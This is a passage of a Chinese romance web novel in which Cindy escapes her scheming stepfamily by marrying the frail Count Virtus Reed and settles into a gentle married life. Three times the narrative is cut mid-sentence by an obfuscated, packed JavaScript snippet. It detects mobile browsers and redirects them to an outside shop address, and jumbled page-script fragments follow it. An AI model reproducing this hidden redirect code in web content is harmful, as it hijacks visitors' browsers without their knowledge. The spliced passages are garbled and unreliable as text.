“等这段时间的风头过去，我想你还是能重新回到社交圈，以你的美貌，婚姻不是什么难题。” 乔瓦娜的话十分郑重，带着不易察觉的关心。 辛蒂一笑，湛蓝的眼睛里满是野望：“乔瓦娜，婚姻不是人生的答案，比起男人，我想我更相信金币。” “你比我更清楚，丈夫的花言巧语是靠不住的。” 乔瓦娜无言，她的母亲因为父亲的情妇郁郁而死，辛蒂的话她无法反驳。 她以前从未发现这个女伴是如此能言善辩，她已经不记得今天有几次无话可说。看来辛蒂的伪装不仅在外表，也在性格，乔瓦娜越发看不清辛蒂的真实面目。 辛蒂走之前，乔瓦娜迟疑开口：“关于流言，你真的勾引了国王吗？” 原本乔瓦娜就不相信辛蒂是这样的人，今天在了解到辛蒂的另一面之后，她更发觉了这件事的违和之处。 辛蒂面色复杂，她还没办法坦然地谈论这件事：“是与不是又有什么区别呢，我确实打扰到了国王陛下。” “乔瓦娜，我无意污蔑任何人，只提醒你一句，小心罗莎·洛佩斯。” 辛蒂思索再三，还是说出了这句话，她总觉得按照罗莎的扭曲，不是没可能向乔瓦娜下手。如今她和乔瓦娜也算合作伙伴，她有义务稍作提醒。 辛蒂回到杜波依斯府，詹姆斯和继母以及两个继姐竟然都肃然坐在起居室中，似乎在等待着什么人。 不会是在等她吧？ 自从她成为公爵府的女伴后，詹姆斯也跟着享受了不少便利，最近做了好几单大生意，可谓是春风得意，眼下他的表情却并不得意，还带着明显的烦躁。 莫罗夫人的表情也很严肃，然而辛蒂从她的肢体语言看出来她其实很放松，甚至有些愉快。 辛蒂确定了，他们肯定听到了传言，两个继姐的幸灾乐祸几乎不加掩饰。 平民的消息比起贵族总是滞后的，两个群体简直像是有物种隔离一般。一般而言不特意打听，贵族中已经闹得沸沸扬扬的事件，平民们一句流言都听不到。 这有些反常，辛蒂以为他们起码过个一星期才能发现不对劲，继而询问她，这时候她才会告诉他们发生的事。 西尔维亚的话解答了辛蒂的疑惑，她尖声道：“塞拉菲娜都告诉我们了，你这个坏女孩，竟然胆敢勾引国王陛下！” 原来是塞拉菲娜，那条毒蛇，辛蒂一阵烦躁，等她学会魔法之后，第一个收拾塞拉菲娜。 没有人理会西尔维亚，詹姆斯盯着辛蒂：“你去哪儿了？” 辛蒂语气平常：“公爵府。” 詹姆斯像一头愤怒的公牛一般喘着粗气：“公爵府？还想骗我吗？你怎么敢做出这样让家族蒙羞的事！要是做成也就罢了，现在没了公爵府的庇护，连我的生意也要受连累！” 莫罗夫人并没有说话，只是似笑非笑地盯着辛蒂。有詹姆斯发挥就够了，日久天长，她有的是时间收拾这个失势的继女。 辛蒂的脸上却并没有出现被拆穿的恐慌，她的语气很平淡：“不过是把靠着我得到的财富吐出去而已，谈何连累？” “再说了，我确实去了公爵府，你们可以询问马车夫。” 詹姆斯的情绪缓和了些，他以为辛蒂是去祈求原谅的：“怎么样？亚基亚德小姐愿意原谅你吗？” 詹姆斯的变脸让辛蒂想笑，她以前只认为这个男人薄情，现在她发现他还自私。女儿遭遇变故，既不问真相，也不问因果，只是一昧在乎自己的财富会不会受到损害。 “我以后不会再去公爵府做女伴了。” 辛蒂的话让詹姆斯的希望破裂，女儿桀骜不驯的样子更让他怒火中烧。他觉得薇薇安说得没错，辛蒂确实被惯坏了，一个年龄大些的丈夫或许能让她成熟些。 “看来你并没有意识到自己的错误，你应该在阁楼反省自己，不许再出门。你的母亲为你挑选了一位很富有的绅士，你就安心在家准备嫁人吧。” 辛蒂并不觉得失望，反而觉得原来如此，莫罗夫人最近对她十分友好，仿佛她们一直都没有产生过任何矛盾，原来还有后招。 让她猜猜，这位绅士应该只有富有这一个优点，不是秃就是丑，年龄一定很大，或许还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760617|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很胖？辛蒂不知道，莫罗夫人的恶毒超过她的想象。 辛蒂露出一个没有任何情绪的笑容：“那恐怕要让您失望了，乔瓦娜希望我嫁给她的堂弟，一位伯爵大人，维尔图斯·里德。” 辛蒂的话让詹姆斯愣在了原地，他挤出了一个十分难看的笑容：“小辛蒂，这么重要的事你怎么不早说？” 莫罗夫人夫人先是不敢置信，随即冷笑：“那个病秧子？你不怕你刚结婚就守寡吗？” 这次反驳的人变成了詹姆斯，他似乎已经做上了变成贵族的美梦：“这有什么要紧？我的女儿即将成为伯爵夫人，我做梦都不敢想哩！” 辛蒂没有告诉詹姆斯这只是一个提议，最后不一定能成。 她慢条斯理地询问着莫罗夫人：“我想您肯定为我挑选了一个好丈夫呢，不如说出来我对比一下？” 莫罗夫人神色变得僵硬，詹姆斯不屑开口道：“那不过是个有些许财富的男爵，肯定比不上伯爵大人。”完全忘了他在莫罗夫人告诉他的时候，他欢欣鼓舞的样子。 一位富有的男爵？辛蒂想到了舞会上那个油腻的老男人，她以为她算是帮助了阿米莉娅，不指望得到感激，却没想到莫罗夫人会以此来坑害她。 辛蒂失去了跟他们交流的欲望：“我看男爵很好，夫人不如把阿米莉娅嫁给他，他想必也十分乐意。” 詹姆斯不知道辛蒂话里的深意，他觉得这是个好主意，竟然真的和莫罗夫人商议起来。 不理会莫罗夫人狼狈的解释，辛蒂转身回了自己的阁楼。 詹姆斯的冷漠与唯利是图以及莫罗夫人的心怀鬼胎都让辛蒂觉得胆寒。 她要尽快离开这个地方，不管用什么方法。 与此同时捷琳娜·里德也得知了乔瓦娜希望她的弟弟能娶辛蒂·杜波伊斯的事。 捷琳娜一脸的不可思议：“乔瓦娜，你疯了吗？让那个品德败坏的女人成为维尔图斯的妻子？” 乔瓦娜表情淡淡：“捷琳娜，我想你很清楚，以维尔图斯的身体以及里德家的经济情况，辛蒂·杜波伊斯是最好的选择。” “她美丽而出身低下，而且她保证维尔图斯去世后她不会改嫁他人。至于那些传闻，辛蒂已经跟我解释过了，都是误会，我相信她。” 乔瓦娜的母亲姓里德，在世的时候里德家已经显现出颓势，即使公爵府尽量帮扶，没有能干的继承人，里德府只不过是空壳子罢了。 里德夫人在生下维尔图斯·里德不久后就去世了，里德伯爵十分深情，也跟随妻子离开人世。 之后乔瓦娜的母亲就把两姐弟接到公爵府抚养，一直到维尔图斯成人后坚持回了里德府，捷琳娜则继续作为乔瓦娜的女伴留了下来。 这位身世凄惨的伯爵身体从小到大就不好，医生甚至说他活不到20岁。里德府无钱无权，继承人还短命，几乎没有贵族小姐愿意嫁给他。 捷琳娜还是不服气：“即使没有贵族小姐愿意嫁给维尔图斯，可以选的商人之女一大把，辛蒂·杜波伊斯名誉不好，怎么就非她不可呢？” 15. 维尔图斯 乔瓦娜无奈，希望辛蒂嫁给维尔图斯还因为她是想给辛蒂一个身份，这样她们的关系会更紧密。她未来要嫁到阿卡索王国，需要一个地位较高的聪明人向她传递国内的消息。 原本这个人选她属意罗莎，可是如今她和辛蒂也算合作伙伴，且她对罗莎有一丝怀疑，辛蒂显然是更合适的。 不过这方面的顾虑乔瓦娜不好跟捷琳娜直说，捷琳娜并不是一个能藏得住话的小姐。 “我只是提出一个建议，维尔图斯的意见才是最重要的。要是维尔图斯不介意，可以让他们先见个面。眼看堂弟的身体一天不如一天，你难道不想要小侄子吗？” 捷琳娜被乔瓦娜说动了，要是维尔图斯喜欢，其他的确实都不是什么问题，他的身体差到连门都很少出，捷琳娜只希望他开心。 杜波伊斯府中，没过几天就有里德府的仆人上门向辛蒂发出邀请，捷琳娜·里德小姐想请辛蒂·杜波伊斯小姐次日去喝下午茶，届时会有马车来接。 辛蒂和捷琳娜可没有这样的交情，她知道这是要让她跟维尔图斯·里德见面，看来双方都很着急。 次日，辛蒂特意去掉了脸上的伪装，把自己收拾得光彩照人。镜中蓝眸黑发的少女穿着蓝色的束胸礼服，庄重又不失娇俏，她无需在脸上涂抹任何东西，已经比月儿还要美丽。 临出门的时候，莫罗夫人要求辛蒂带上西尔维亚和阿米莉娅，她们也经过盛装打扮，身上的珠宝闪闪发光。 詹姆斯没有异议，看来他们是商量好的。对于詹姆斯而言，不管哪个女儿嫁给伯爵，他都一样沾光。 辛蒂也没有异议，两个蠢货而已，有了绿叶的衬托，花朵的娇艳才会更加动人。 里德府的马车夫却不乐意了，他强调：“里德小姐只邀请了辛蒂·杜波伊斯小姐。” 两个继姐恍若未闻，迫不及待地钻进了公爵府的马车，屁股更是牢牢地黏在了座椅上。 马车夫无奈，只能在心里嘀咕几句，商人的女儿就是不懂礼仪。 里德府看起来有些破败，远远不如公爵府，不过也比杜波伊斯府气派许多。 辛蒂和两个继姐被请到花园的草坪上喝茶，捷琳娜·里德并没有出现，辛蒂猜测她应该是不想看见她，一点表面功夫都不做。 等了一会后，维尔图斯·里德出现了。 其实他已经在屋子里看见了辛蒂的样貌，没人会不喜欢美人，他也不例外。他甚至觉得意外，这样美丽的小姐怎么会愿意嫁给他。 捷琳娜让他不用出去应付她们，但是维尔图斯坚持，他认为杜波伊斯小姐也应该知道他的身体状态，或许看见了以后就会放弃这桩婚事。 捷琳娜拗不过他，维尔图斯一向都很有自己的主见，同时她也意识到，她的弟弟是愿意让辛蒂成为他的妻子的，否则也不会在意辛蒂的看法。 辛蒂终于见到了维尔图斯·里德，他果然和传说中一样病弱，他坐在轮椅上，看不出身高，十分瘦削，仿佛下一秒就会喘不上气，失去呼吸。 不过他的容貌十分英俊，有着棕色的头发和黑色的眼睛，嘴角常常挂着温和的笑容，这倒是和他跋扈的姐姐不太一样。 辛蒂几乎没能跟维尔图斯说上一句话，一见到人西尔维亚和阿米莉娅围着他叽叽喳喳个不停，辛蒂找不到插嘴的机会。 他脾气很好，面对聒噪的小姐并没有露出什么不耐烦的情绪，礼貌地回答了她们的所有问题。 阿米莉娅已经从维尔图斯的眼神中意识到，他是满意辛蒂的，且对她们姐妹毫无兴趣，在跟她们说话的时候眼神也总是停留在辛蒂的身上。 她有些气愤，果然妈妈说得没错，男人都喜欢容貌美丽的小姐，即使那个小姐像呆头鹅一样一句话都不说。 这样下去可不行，阿米莉娅眼珠一转，趁着辛蒂短暂离开的功夫，开始主动说起了辛蒂：“里德先生，你参加了前不久王子的舞会吗？小辛蒂可是相当受欢迎呢！” 说到辛蒂，维尔图斯·里德果然来了兴趣，温和的黑色眼睛看着阿米莉娅，等待着她的下文。 西尔维亚有些不解地看向她的妹妹，怎么还夸起辛蒂了？这和说好的不一样呀。 阿米莉娅没有理会自己的蠢姐姐，语气十分自然：“舞会上许多绅士都邀请了辛蒂跳舞，她几乎跳了一整晚呢，最后她还主动邀请了男爵······”说到这里，阿米莉娅似乎意识到自己失言，捂住了嘴：“哦里德先生，我刚刚可什么都没说。” 一般而言，舞会上的小姐们只能等待绅士的邀舞，而不能主动发出邀请，这不太矜持。 让阿米莉娅失望的是，维尔图斯的神情并没有发生什么明显的变化，甚至嘴角微笑的弧度都和之前一模一样。 这时候辛蒂回来了，维尔图斯温和开口：“两位莫罗小姐，我想和杜波伊斯小姐单独交谈片刻，暂时失陪一下。” 随即，他就邀请辛蒂到花园里散步，阿米莉娅和西尔维亚自然无法跟上去，她们的脸皮还没有厚到这种程度。 吩咐女仆离得远远的后，维尔图斯率先开口：“杜波伊斯小姐，我想知道你为什么会愿意和我这样一个废人结婚。” 维尔图斯的直白让辛蒂意外，她反问：“那阁下为什么愿意跟我这样一个名誉有损的商人的女儿结婚呢？” 维尔图斯笑，这个笑容比之前的要真实许多：“真是率真的小姐。” “你的美丽配得上伯爵夫人的头衔，乔瓦娜告诉我传闻不是真的，我相信她，我也相信你天空一样澄澈的眼睛。” 被这样夸奖，辛蒂有些不好意思，她尽量让自己的语气听起来十分诚恳：“阁下，感谢您的信任，虽然听起来很像狡辩，那天我是被皇宫的女侍引到国王陛下的小花园的，我并无攀附之心。” 虽然辛蒂最开始打的是成为一个自由的寡妇的主意，现在她觉得这位伯爵先生是个好人，对他产生了些许好感，嫁给他或许是个不错的选择。 维尔图斯点点头，他眼里的温和给了辛蒂更多鼓励，辛蒂继续道：“如您所见，自从我的母亲去世以后，杜波伊斯府不再是我的家。” 维尔图斯的身体不支持他在户外待太长时间，没过多久，女仆就轻声提示应该回去了，维尔图斯应好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760618|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >离开前，他深深看了辛蒂一眼：“希望能再见，杜波伊斯小姐。” 辛蒂同样微笑回应：“我也是，里德先生。” 回到杜波伊斯府后，莫罗夫人询问两个女儿情况如何。 西尔维亚还乐呵呵的，觉得伯爵大人十分温柔，阿米莉娅暗骂一句蠢货。当然她自己也不是什么聪明人，否则也不会听从指示跟在辛蒂身边了。 莫罗夫人知道自己的两个女儿嫁给伯爵无望，开始发愁怎么应对男爵。她原本还盘算着要是西尔维亚或者阿米莉娅能够讨伯爵喜欢， 在舞会那天阿米莉娅告诉她关于辛蒂“抢”了她的男爵舞伴的事后，莫罗夫人惊出了一身冷汗。 那位男爵的风评她有所耳闻，每一任妻子几乎都活不过一年，只有穷得吃不起饭的家族才会把女儿嫁给他。 莫罗夫人狠狠地骂了阿米莉娅一顿，阿米莉娅知道缘由后也觉得后怕。不过她们并不认为辛蒂是在帮助阿米莉娅，还等着看她的笑话呢。 得知辛蒂失去女伴身份后，莫罗夫人就琢磨着要“帮”她的继女一把，主动联系了男爵。男爵心眼很小，还记恨着辛蒂踩他的事，倔强的小美人求饶时候的样子想必也十分的妙，他欣然答应了莫罗夫人。 这个男爵可不好打发，他已经知道了杜波伊斯府，莫罗夫人反悔的话很可能会招致报复。男爵认识商会的会长，随便说几句话就能对杜波伊斯家的生意造成巨大的影响，莫罗夫人一时间后悔极了。 可惜辛蒂不知道莫罗夫人搬起石头砸了自己的脚，这多少能给她乏味的生活增添一些趣味。 和维尔图斯·里德见面后的第二天，辛蒂就收到了乔瓦娜的消息，里德府对于这桩婚事没有意见。要是辛蒂没有改变主意的话，乔瓦娜就请她的姨母出面，开始操办起来了。 说来也算有缘，乔瓦娜的姨母正是辛蒂之前参加过的礼仪课的老师戈尔曼女士。 按理说维尔图斯父母双亡，作为姑父的亚基亚德大公当仁不让的要操心外甥的婚姻情况。 可是亚基亚德大公看不上里德府，乔瓦娜的母亲去世后更是不再掩饰，这也是维尔图斯成年后执意搬离的原因。 因此乔瓦娜并不敢用这件事让父亲操心，只是告诉了他一声，他没有提出反对意见就万事大吉。 亚基亚德大公没有任何意见，反而觉得病秧子维尔图斯配一个名誉不好的商女算是合适。当初维尔图斯的父亲反对妹妹嫁入公爵府，亚基亚德大公记恨到了现在，你看不起我，我也看不起里德府。 戈尔曼女士听到外甥即将结婚的消息，感到十分高兴，虽然结婚对象只是个商人的女儿，她也觉得满足。 不过关于辛蒂的种种流言让她觉得不安，她教授过辛蒂礼仪，知道她的为人，多多少少知道传言的不实。她更在意的是这个女孩似乎很容易引起风波，她的外甥的身体可禁不住一点折腾。 乔安娜说服了她的姑母，按照里德府的情况，能不能再有继承人很难说，爵位是大概率保不住的。连爵位这个唯一的优势都等于没有，这样的情况下，还有小姐愿意嫁给维尔图斯已是万幸。 16. 婚后1 戈尔曼女士开始紧锣密鼓地张罗起辛蒂和维尔图斯的婚礼来。她原本想大干一场，好好热闹一番，可惜维尔图斯的身体禁受不住冗长仪式的折腾，就连准新娘也无意一场豪华的婚礼。 在辛蒂看来，她和维尔图斯的结合并无多少感情存在，他需要一个妻子，她想要脱离原生家庭的禁锢，仅此而已。 18岁的辛蒂对于情爱并无什么向往，以前的父母动不动就吵架，一吵架就互戳软肋，你说我没本事，我说你乱花钱。 辛蒂从一开始的害怕到后来安之若素，听到他们要离婚的消息反而觉得松了口气。 这个世界的詹姆斯和莫罗夫人与其说是爱情，倒不如说是利益的互补，还有一些成年人欲望的交织。 詹姆斯和那个女人之间倒是有爱情的存在，可惜女人死得太早。 辛蒂不懂什么是爱，自然也不会期待一场盛大的婚礼，用维尔图斯的身体为借口减少仪式，她反而乐得轻松。 一般而言贵族和商人通婚，为了弥补地位的差距，商人都会给出大量的“入门礼金”。不过里德府情况特殊，戈尔曼女士并不过多要求。 詹姆斯并不清楚其中的弯弯道道，他只知道辛蒂即将嫁给亚基亚德大公的亲外甥，四舍五入就是嫁进了公爵府，他当然要多多的陪嫁。 于是詹姆斯大手一挥，半个杜波依斯府都给了辛蒂作为嫁妆，这是一笔不小的财富，折合下来约有一万金币，对于里德府而言算是一笔巨款了。 戈尔曼女士更加满意了，看在金币的份上，就连捷琳娜都对辛蒂的态度好了不少。 辛蒂的巨额嫁妆让莫罗夫人气红了眼睛，可惜她完全劝不动詹姆斯。总是对她百依百顺的男人遇到权势就固执得不可思议，詹姆斯认为这是一笔很合算的投资，必定能得到更丰厚的回报。 因为维尔图斯的身体每况愈下，辛蒂和他的婚事进行得相当迅速，就连“手盟礼”都省略了，一个月之内完成了所有的婚礼仪式。 似乎眨眼之间，辛蒂就变成了新鲜出炉的伯爵夫人。往后杜波伊斯府的人看到她都要行礼，这一点让辛蒂心情十分舒畅。 连带着珍妮告诉她詹姆斯在外头用里德府的名义做生意这个消息后，辛蒂并没有十分生气。 “早晚的事，他希望我嫁给伯爵不就是为这个吗？”已经成为女人的辛蒂比少女时期多了一丝韵味，轻轻的眼波几乎让珍妮脸红。 结婚的另外一个好处就是辛蒂可以在里德府和珍妮光明正大的见面，维尔图斯是个好丈夫，几乎不限制辛蒂的自由。 不过考虑到外面的流言蜚语，辛蒂几乎足不出户。 辛蒂虽然不出门，每天的时间都是排得满满当当的，没办法，要学习的东西太多了。 “对了辛蒂，格温夫人的希腊语是否能满足你的学习要求呢？” 如今化妆品工坊得到了公爵小姐的支持，乔瓦娜甚至还借给了工坊一笔资金以满足扩大生产的需求。 总而言之，工坊挣了不少钱，她们现在完全有条件给辛蒂找一个正经的希腊文老师。 “格温夫人很好，亲爱的珍妮，我正好要跟你说她的事，格温夫人的女儿在逃难的过程中失散了，格温夫人认为她很可能成为了某户人家的女仆。托马斯似乎认识许多女仆，希望他能帮忙打听一下。” 托格温夫人的福，两个多月的学习以后，辛蒂已经学会了一些基础的希腊文单词。 说是学了两个多月，实际上辛蒂的时间被婚礼和应付继母切割得乱七八糟，能学习的时间少之又少，完全凭借着辛蒂的一腔热情。 她终于能拼出那本魔法书封面的文字，《魔法起源》，还好不是《母猪的产后护理》。 不过距离辛蒂完全读懂这本书还有不小的距离，凭借着粗浅的词汇量，辛蒂发现里面有寻人的魔法。 辛蒂决心要更努力学习才行，争取能帮格温夫人找到她的女儿。 珍妮记下辛蒂描述的格温夫人的女儿的外貌后，匆匆离开了里德府，工坊还有好些事等着她做呢。 珍妮离开后，正好是辛蒂的希腊文学习时间。 辛蒂以前觉得英语难学，现在接触到了拉丁文和希腊文才意识到英语已经相当简单了！ 格温夫人准时出现在了辛蒂的面前，今天她要给辛蒂讲述的是普罗米修斯盗火的故事。 经过一段时间的休养，格温夫人恢复了许多精神，看起来很有教师的气质。 格温夫人的教学方式并不包含语法的教学，辛蒂猜测现在应该还没有系统的语法教学概念。 格温夫人带着辛蒂学会了24个希腊字母以及它们的发音规则后，就开始“讲故事”，通过故事让辛蒂学习单词和句子。 这样的教学方式当然不太友好，不过因为英语和希腊语有一定的相似之处，虽然语法十分抽象，辛蒂学起来还算顺利。 盗火的故事讲完，辛蒂发现维尔图斯不知道什么时候出现在了房间里，正跟她一起安静地听课。 注意到辛蒂的目光，维尔图斯苍白而英俊的脸上浮现出一个柔和的微笑：“格温夫人讲的很好，盗火的故事十分精彩。” 这不是辛蒂第一次听这个故事，不过每一次都会因为普罗米修斯的选择触动，她突发奇想，询问着轮椅上的青年：“维尔图斯，要是你会选择为人类盗火吗？” 维尔图斯一愣，随即摇摇头：“我想我应该承受不了高加索山上日复一日的寂寞。” 维尔图斯的回答让辛蒂感到心疼，他因为身体被困在里德府里，每天都在品尝寂寞，现在却说自己害怕寂寞。 辛蒂向维尔图斯绽放出一个灿烂的笑容：“我陪着你，你再也不会寂寞了。” 不过与其说辛蒂陪着维尔图斯，不如说维尔图斯陪着辛蒂。 维尔图斯是辛蒂的拉丁文老师，他不用工作，据说以前整天看书。辛蒂成为他的妻子以后，他的大部分时间都分给了辛蒂，不是在陪她学习，就是在教她拉丁文。 至于为什么要学习拉丁文，戈尔曼女士在仪式完成后对辛蒂的第一个要求就是让她补习贵族的常用语言以及一些基本的常识，其中就包括拉丁文。 学会拉丁文对于贵族而言是相当重要的，它不仅是教会的官方语言，还是文书法律、学术的书面用语。也就是说，辛蒂要是不会拉丁文，她都无法跟别的贵族聊高级一点的天。 在从丈夫的角色转变为辛蒂的拉丁文老师时，维尔图斯会变得认真很多。 他的讲解深入浅出，还会时时关注辛蒂的神情，往往在辛蒂自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760619|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有意识到她不太理解时，他就能看出辛蒂的困惑，再讲一次。 辛蒂觉得维尔图斯的讲课技巧比格温夫人好多了，可惜他不会希腊文。要是维尔图斯的身体没有这么差，辛蒂想他至少能成为一个很优秀的学者。 拉丁文的课程结束后，要是天气好，辛蒂常常会推着维尔图斯到湖边散步。这时候两人会聊聊天，刚结婚的时候他们还不大熟，只聊些逸闻趣事。 现在维尔图斯会讲讲他的姑母，也就是乔瓦娜的母亲。那是个十分善良的夫人，对于维尔图斯来说像是妈妈一样的存在，如果没有她的开导，维尔图斯或许会成为一个自怨自艾，阴暗扭曲的人。 辛蒂也会跟他讲讲那个女人，还有娶了继母后就变了的查尔斯。 “辛蒂，或许你的父亲或许太过于伤心，以至于无法面对你，只能用冷漠掩饰。”维尔图斯永远都这么善于站在别人的立场上考虑。 辛蒂不置可否，她早就想开了，她并不真是那个渴望父爱的辛杜瑞拉，在亲生父母身上她就明白了父母子女之间的感情无法强求的道理。 辛蒂还跟维尔图斯讲了继母给她取的绰号辛杜瑞拉，因为她总是把自己弄得灰扑扑的。 维尔图斯嘴角微弯，似乎看到了一个穿着脏兮兮裙子的小女孩。 散步完后是晚餐时间，辛蒂很喜欢里德府的厨娘大婶，她不仅手艺很好，还善于听取辛蒂的建议。 在辛蒂的指导下，厨娘大婶成功做出了中式炒菜，从此打开了新世界的大门。 除了辛蒂提供的土豆和青椒的搭配、鸡蛋和番茄的搭配以外，厨娘大婶还想出了大葱炒鱼肉、牛肉炒西兰花等奇怪的搭配。 神奇的是，这些看起来十分黑暗料理的菜式在厨娘大婶的精湛厨艺下竟然不算难吃。 辛蒂第一次吃到炒菜的时候情不自禁流下了眼泪，吓得厨娘大婶以为自己盐放多了，把她咸哭了。 维尔图斯看出来了辛蒂是被勾起了某些回忆，他并没有多问，给了辛蒂一个轻轻的拥抱。这就是他的体贴之处了，辛蒂不说的事他即使好奇也不会询问。 晚饭后是阅读时间，辛蒂最近在看拉丁文神学著作《上帝存在论》，这是维尔图斯给她列出的必读书目之一。 有老师在身边有个好处，那就是遇到不清楚的地方可以随时询问。维尔图斯也不觉得辛蒂麻烦，他很享受这样的相处。 像是母亲的女仆给他描绘过的，他的父母的相处模式，两个人一起在书房里，坐在温暖的壁炉旁边各自阅读，偶尔心有所感会相视一笑。 结婚前辛蒂预想中的两个人每天尴尬独处的场景并没有发生过。 维尔图斯是个很安静的人，待在他的身边辛蒂觉得很舒服，维尔图斯既不会问她为什么要学习希腊文，也不会要求辛蒂替他外出社交。 事实上他对辛蒂没有提出过任何要求，辛蒂想学的知识，想吃的故乡食物，只要辛蒂提出来，维尔图斯都不会有任何阻挠。 唯一不太顺利的事是维尔图斯的身体，他是早产带来的病症，每天辛蒂都会觉得他的脸色比前一天更苍白些。 辛蒂很难受，尝试着带维尔图斯锻炼身体，用温补的食物为他改善体质，甚至还找来了来自神秘东方的医生，可惜都无济于事。 17. 婚后2 维尔图斯没有告诉过辛蒂的是，他原本相当排斥婚姻，父亲随母亲而去的壮烈让他对他们之间浓烈的感情产生了恐惧，看过了姑母因为姑父的情妇郁郁而死的样子后，他想不通为什么要结婚。 乔瓦娜再三向他描述那位杜波伊斯小姐的美丽和聪慧也没有让他心动，不管什么样的小姐，在看到他的病弱后都会退缩，更别说里德府几乎一无所有。 不过维尔图斯还是同意了见面，他不忍心拂了乔瓦娜的好意，她继承了她父亲的容貌，但是她的善良温柔和姑母如出一辙。 那是阳光十分灿烂的一天，辛蒂·杜波伊斯的笑容像是一束阳光照进了维尔图斯的心里。维尔图斯还没有跟辛蒂说过只言片语，但是他已经为她的美貌心折。 要是有一位如此美丽的妻子，每天只是看着她想必也会心满意足。维尔图斯在那一瞬间已经开始幻想起了婚后生活。 捷琳娜对杜波伊斯小姐不感冒，一直在他耳边絮絮叨叨地说那些传言。维尔图斯并不在意，他想得很开，他没那么多日子好活了，妻子的品德对他来说并不很重要。 他没听捷琳娜的，执意要去跟这位杜波伊斯小姐亲自交谈。她有攀附之心不要紧，不过要是她因为他的身体情况有所疑虑，结婚了两个人也无法愉快相处，维尔图斯认为这样的坦诚很有必要。 从杜波伊斯小姐清澈的蓝眼睛里，维尔图斯看到了一丝惊讶还有好奇，并没有他常常从别人的眼睛里看到的鄙夷、同情之类的情绪。 大家互相认识后，两位莫罗小姐一直在他耳边喋喋不休，绅士的礼貌让他做出了得体的回应，虽然他都没有看清楚她们的样子，而且他并不知道她们在说什么，他眼里只有杜波伊斯小姐。 她真可爱，在其中一位莫罗小姐语速过快时会皱起她似乎精心修饰过的眉毛，某些句子会让她的嘴角扬起不易察觉的弧度。 她似乎还有一些生气，是因为他没能顾得上跟她讲话吗？ 杜波伊斯小姐的短暂离开似乎让莫罗小姐们活跃不少，开始故意讲一些似是而非，具有很强误导性的话。 这样的小把戏他以前在姑母身边的时候见过不少，维尔图斯认为主动找别的绅士跳舞是单身小姐的自由，他无意对此作出批判。他只是觉得有些遗憾，他或许永远都无法向这位美丽的小姐邀舞一曲。 杜波伊斯小姐总算回来了，维尔图斯抓住机会提出了想要独处的要求。 此刻他竟然觉得有些紧张，以至于问出了一个稍显尖锐的问题。 还好杜波伊斯小姐并没有露出被冒犯的表情，她竟然把问题抛了回来，真是有趣的小姐。 维尔图斯没有察觉到自己露出了笑容，“你的美丽配得上伯爵夫人的头衔”，他的夸赞几乎是脱口而出。 面前的少女因为他的话耳垂变成了粉红色，更可爱了。 他告诉杜波伊斯小姐乔瓦娜说传言是假的，乔瓦娜其实并没有说过这样的话，那些传言都是捷琳娜告诉他的，他这样说只是想让杜波伊斯小姐安心，这些传言不会影响到任何事。 没想到她认真地解释了一番，她诚恳的样子也十分迷人。听到国王陛下竟然对杜波伊斯小姐的美貌不为所动，维尔图斯竟然觉得国王陛下是不是眼睛不好。 要是杜波伊斯小姐勾引他，他或许愿意为她做任何事。 又走神了，杜波伊斯小姐美丽的脸蛋总是让他有点小迷糊。 等下，他错过了什么？杜波伊斯小姐是不是说她愿意成为他的妻子？这下轮到维尔图斯脸红了，他几乎手忙脚乱地转了话题，该死的，现在的小姐们都这么直接了吗？ 那天到最后维尔图斯都没敢再直视杜波伊斯小姐，一想到她真的要成为他的妻子，维尔图斯觉得她的美丽是那样的灼人。 杜波伊斯小姐离开后，维尔图斯几乎是迫不及待地递信给了乔瓦娜，告诉她他十分满意杜波伊斯小姐，还有戈尔曼姑母，他需要她帮忙操持婚礼······ 婚后生活比维尔图斯想象中更加美好，他头一回庆幸自己身体不好，这样他就不用在外面做一些男人的事业，只需要整天陪伴他的小妻子。 他们是那样的相投，以至于维尔图斯甚至觉得他的前二十年都白活了。 在里德府的好日子过多了，辛蒂甚至都对罗莎·洛佩斯产生了感激之心，要不是她的小动作，辛蒂可能不会遇到维尔图斯这样的好丈夫。 里德府对外几乎没有什么交际，偶尔会跟公爵府有些往来，以及戈尔曼女士会时不时的造访。里德府多了一位伯爵夫人以后，时不时的会有舞会的邀请函被呈给辛蒂。 辛蒂会问问维尔图斯需不需要理会，维尔图斯一般都随辛蒂的意愿，辛蒂于是一次都没去过，以需要照顾伯爵为由拒绝了所有邀请。有参加舞会的时间，辛蒂更愿意陪伴维尔图斯。 转眼到了圣诞节，每年这个时候皇宫都会举行盛大的舞会。 圣诞节的宫廷舞会是不好随意推拒的，或许会被认为蔑视皇室。大家都知道里德伯爵身体不好，以前不会有人强求。不过既然里德府有了伯爵夫人，这样的场合还是需要出席。 